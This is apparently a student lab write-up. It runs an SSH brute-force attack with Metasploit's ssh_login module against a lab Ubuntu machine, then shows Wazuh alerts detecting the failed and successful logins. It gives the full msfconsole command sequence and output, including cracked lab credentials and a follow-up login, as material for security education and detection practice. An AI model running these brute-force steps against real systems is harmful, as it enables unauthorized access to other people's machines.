

# SSH Brute Force Attack using Metasploit with Threat Detection via Wazuh

This project demonstrates a brute-force attack on an SSH service using Metasploit, a penetration testing framework. The goal is to understand how brute-force attacks work, how attackers can exploit weak SSH credentials, and how to monitor and detect such attacks using a security tool like Wazuh.

## What is SSH?

SSH (Secure Shell) is a cryptographic network protocol used to securely connect to remote systems.

- Provides encrypted communication over insecure networks.
- Commonly used for remote login and secure file transfer.
- Default port: 22.

## How SSH Works

1. The client sends a connection request to the server on port 22.
2. The server asks for a username and password (or key-based authentication).
3. If credentials are valid, the connection is established securely.
4. Once authenticated, the client can execute commands or transfer files.

## Why SSH is used?

- Provides confidentiality and integrity of remote sessions.
- Protects against eavesdropping and MITM attacks.
- However, if weak passwords are used, attackers can exploit SSH using brute-force

## What is Metasploit?

Metasploit is a popular penetration testing framework used by cybersecurity professionals, ethical hackers, and attackers to test and exploit vulnerabilities in computer systems. It is pre-installed in Kali Linux and provides hundreds of ready-made exploits, payloads, and auxiliary modules.

## Key Features of Metasploit

- Exploitation Framework → Provides modules to exploit vulnerabilities in services, applications, and operating systems.
- Auxiliary Modules → Includes scanners, brute-force tools, and information-gathering utilities (like the SSH login scanner you used).

- Payloads → Allow attackers to gain control of a system (e.g., reverse shells, Meterpreter sessions).
- Post-Exploitation Tools → Enable further actions after gaining access, such as privilege escalation, data extraction, or persistence.
- Community & Updates → Regularly updated with the latest exploits, making it a go-to tool for penetration testing.

### **Why Metasploit is Used**

- Automates common attack techniques like brute-force, scanning, and exploitation.
- Makes penetration testing faster and more systematic.
- Helps security professionals simulate real-world attacks to test defenses.
- Widely supported and integrated with other security tools.

### **Project Objective:**

To demonstrate an SSH brute-force attack against a Linux victim machine using Metasploit, identify valid credentials, and monitor the attack using Wazuh.

### **Tools and Environment Setup**

- Attacker Machine: Kali Linux (IP: 192.168.1.69) running Metasploit.
- Victim Machine: Ubuntu Linux (IP: 192.168.1.71) with SSH enabled.
- Monitoring Tool: Wazuh for security event monitoring and detection.

### **Step-by-Step Process**

#### **1. Setting Up the Environment**

- Ensure the victim machine is running an SSH service on port 22.
- Deploy Wazuh for log monitoring and threat detection.
- Use Kali Linux as the attacking machine.

#### **2. Preparing Credential Files**

- user.txt → contains possible usernames.
- passwords.txt → contains possible passwords.

#### **3. Running the Metasploit Attack**

Here is the step-by-step breakdown of the commands you used in msfconsole:

1. use auxiliary/scanner/ssh/ssh\_login
  - Loads the SSH brute-force module in Metasploit.

- This module is designed to try multiple username and password combinations against an SSH service.
2. set RHOSTS 192.168.1.71
    - Sets the target victim machine's IP address (the Linux machine running SSH).
    - Here, 192.168.1.71 is the victim system.
  3. ls and pwd
    - These are basic Linux commands executed from within msfconsole.
    - ls → lists files in the current directory (to check if username/password files exist).
    - pwd → shows the current working directory (/root in this case).

```

kali-linux-2025.2-vmware-a... X
File Actions Edit View Help
inet 192.168.1.70/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
valid_lft 86305sec preferred_lft 86305sec
inet6 fe80::1cc1:b1f2:afcb:fd68/64 scope link noprefixroute
valid_lft forever preferred_lft forever
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.71
RHOSTS => 192.168.1.71
msf6 auxiliary(scanner/ssh/ssh_login) > ls
[*] exec: ls

passwords.txt thc-hydra user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > pwd
[*] exec: pwd

/root
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/user.txt
USER_FILE => /root/user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passwords.txt
PASS_FILE => /root/passwords.txt

```

4. set USER\_FILE /root/user.txt
  - Tells Metasploit where to find the list of possible usernames.
  - The file user.txt contains a list of usernames that the attacker will try (e.g., root, admin, cisco).
5. set PASS\_FILE /root/passwords.txt
  - Specifies the list of possible passwords to test.
  - passwords.txt contains a collection of common or guessed passwords (e.g., 1234, password, cisco123).
6. set RPORT 22
  - Defines the port number for the SSH service.
  - SSH runs on port 22 by default, so this confirms the module will attack the correct service.
7. run
  - Starts the brute-force attack.

- Metasploit begins testing all possible username-password combinations from user.txt and passwords.txt.
- When a valid pair is found, Metasploit displays a success message (e.g., Success: 'cisco:password123').

```

PORT => 22
msfrp auxiliary(scanner/ssh/ssh_login) > set RPORT 22
RPORT => 22
msfrp auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.1.71:22 - Starting brute-force
[*] 192.168.1.71:22 - Success: 'cisco:password' 'uid=1001(cisco) gid=1001(cisco) groups=1001(cisco),27(sudo),119(nopasswdlogin),123(wireshark),999(vboxsf) Linux SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.1.70:38843 -> 192.168.1.71:22) at 2025-09-03 22:19:23 -0400
[*] 192.168.1.71:22 - Success: 'analyst:cyberops' 'uid=1002(analyst) gid=1002(analyst) groups=1002(analyst),27(sudo),123(wireshark),999(vboxsf) Linux labvm 5.15.0-91-generic x86_64 GNU/Linux '
[*] SSH session 2 opened (192.168.1.70:33847 -> 192.168.1.71:22) at 2025-09-03 22:19:28 -0400
[*] 192.168.1.71:22 - Success: 'sec_admin:net_secPW' 'uid=1003(sec_admin) gid=1003(sec_admin) groups=1003(sec_admin),27(sudo),123(wireshark),999(vboxsf) Linux T P Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 GNU/Linux '
[*] SSH session 3 opened (192.168.1.70:45843 -> 192.168.1.71:22) at 2025-09-03 22:19:35 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msfrp auxiliary(scanner/ssh/ssh_login) > ssh cisco@192.168.1.71
[*] exec: ssh cisco@192.168.1.71

The authenticity of host '192.168.1.71 (192.168.1.71)' can't be established.
ED25519 key fingerprint is SHA256:criHpZp2Yjg6kuEKXsuGSKmDJxR3HUKUJAGSfOn8Yo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.71' (ED25519) to the list of known hosts.
cisco@192.168.1.71's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Thu Sep  4 02:25:28 AM UTC 2025

System load:  0.095703125      Processes:            256
Usage of /:   36.4% of 22.90GB   Users logged in:     1
Memory usage: 26%             IPv4 address for enp2s1: 192.168.1.71

```

## 8. ssh cisco@192.168.1.71

- After finding valid credentials (cisco as username and its password), the attacker uses a standard SSH client to log into the victim machine manually.
- This confirms that the brute-force attack was successful.
- At this point, the attacker has interactive access to the victim machine.

## 9. vi attacked.txt

- Once logged into the victim system, the attacker uses the vi editor to create a new file named attacked.txt.
- This step is used as proof-of-access:
  - It shows the attacker was able to log in successfully.
  - The file may contain a message like “your machine has been attacked”.
- In real-world attacks, instead of leaving a harmless file, attackers could install malware, backdoors, or exfiltrate data.

```

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '24.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu Sep  4 01:56:00 2025 from 192.168.1.65
cisco@labvm:~$ vi attacked.txt
cisco@labvm:~$

```

## Threat Detection

### 1. Wazuh SIEM Tool

Wazuh monitored SSH logs and generated alerts:

id	input type	location	manager name	decoder hostname	decoder program name	decoder timestamp	previous log	previous output	rule firetimes	rule gdp	rule gpg13	rule groups	rule hipaa	rule mail	rule mbrf id	rule mbrf tactic	rule mbrf technique	rule nist_800_53	rule pci_dss	rule tsc	timestamp
5583		Sep 4, 2025 @ 07:49:36.565	PAM: User login failed.						5												
5718		Sep 4, 2025 @ 07:49:36.561	sshd: Attempt to login using a non-existent user						5												
5581		Sep 4, 2025 @ 07:49:36.558	PAM: Login session opened.						3												
5581		Sep 4, 2025 @ 07:49:36.554	PAM: Login session opened.						3												
5715		Sep 4, 2025 @ 07:49:36.552	sshd: authentication success.						3												
5768		Sep 4, 2025 @ 07:49:34.547	sshd: authentication failed.						5												
5583		Sep 4, 2025 @ 07:49:32.585	PAM: User login failed.						5												
5768		Sep 4, 2025 @ 07:49:30.542	sshd: authentication failed.						5												
5583		Sep 4, 2025 @ 07:49:28.558	PAM: User login failed.						5												
5581		Sep 4, 2025 @ 07:49:28.547	PAM: Login session opened.						3												
5581		Sep 4, 2025 @ 07:49:28.543	PAM: Login session opened.						3												
5715		Sep 4, 2025 @ 07:49:28.540	sshd: authentication success.						3												
5768		Sep 4, 2025 @ 07:49:26.539	sshd: authentication failed.						5												
5583		Sep 4, 2025 @ 07:49:24.535	PAM: User login failed.						5												
5581		Sep 4, 2025 @ 07:49:22.577	PAM: Login session opened.						3												

- **Multiple Failed SSH Login Attempts** → detected brute force activity.
- **SSH Authentication Success** → indicates attacker finally logged in.
- **PAM Session Opened/Closed** → logs active user sessions and terminations.

### 2. Attack Evidence in Logs

- Continuous "Failed password" events → brute force attempts.
- Successful login event from attacker IP (192.168.1.69).
- Alerts triggered in Wazuh dashboard.

### Summary:

This project demonstrates an SSH brute-force attack using Metasploit on a victim Linux machine. The attacker used username and password lists to guess valid credentials and successfully logged in via SSH. A proof-of-access file (attacked.txt) was created on the victim system. The attack highlights the risk of weak SSH passwords and the importance of monitoring with tools like Wazuh to detect brute-force attempts and unauthorized logins.

## Author Details

Name: Priyanka H S

Project Title: SSH Brute Force Attack using Metasploit with Monitoring via Wazuh.